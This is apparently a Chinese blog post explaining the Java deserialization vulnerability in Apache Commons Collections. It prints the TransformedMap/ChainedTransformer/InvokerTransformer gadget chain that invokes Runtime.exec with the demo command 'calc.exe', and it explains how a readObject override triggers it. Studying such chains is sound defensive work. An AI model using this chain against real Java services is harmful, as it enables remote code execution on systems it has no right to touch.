java反序列化漏洞

简单分析

构造一个对象 —— 反序列化 —— 提交数据

Map类是存储键值对的数据结构
TransformedMap类 ,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义
简单来说就是 数据改变时,进行一些我们提前设定好的操作

transformedMap类    Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

keyTransformer和valueTransformer分别对应当key改变和value改变时需要做的操作,其类型实现了Transformer接口,如下:

public interface Transformer {
    Object transform(Object var1);
}
public Object transform(Object input) {}

其中只定义了一个transform方法。这个方法会在key或者value改变时触发调用。如果需要触发一系列操作,可定义ChainedTransformer来实现

首先定义一个Transformer数组:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(...),
    new InvokerTransformer(...).....
};
    //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"calc.exe"})};

其次实例化ChainedTransformer:

Transformer chainedTransformer = new ChainedTransformer(transformers);

最后传入TransformedMap实例化参数中:

Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

现在真正的主角出场,InvokerTransformer。如果在变换链中有InvokerTransformer,则也会调用transform方法,它对应方法实现如下:

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

从中可以看出,它是利用反射机制来调用对应的方法。如果input可控,输入一些非法的对象,则会带来安全风险
如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。
因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标。

参考:https://blog.csdn.net/jameson_/article/details/80137016
https://www.jianshu.com/p/e922ea492ccd

你可能感兴趣的:(java反序列化漏洞)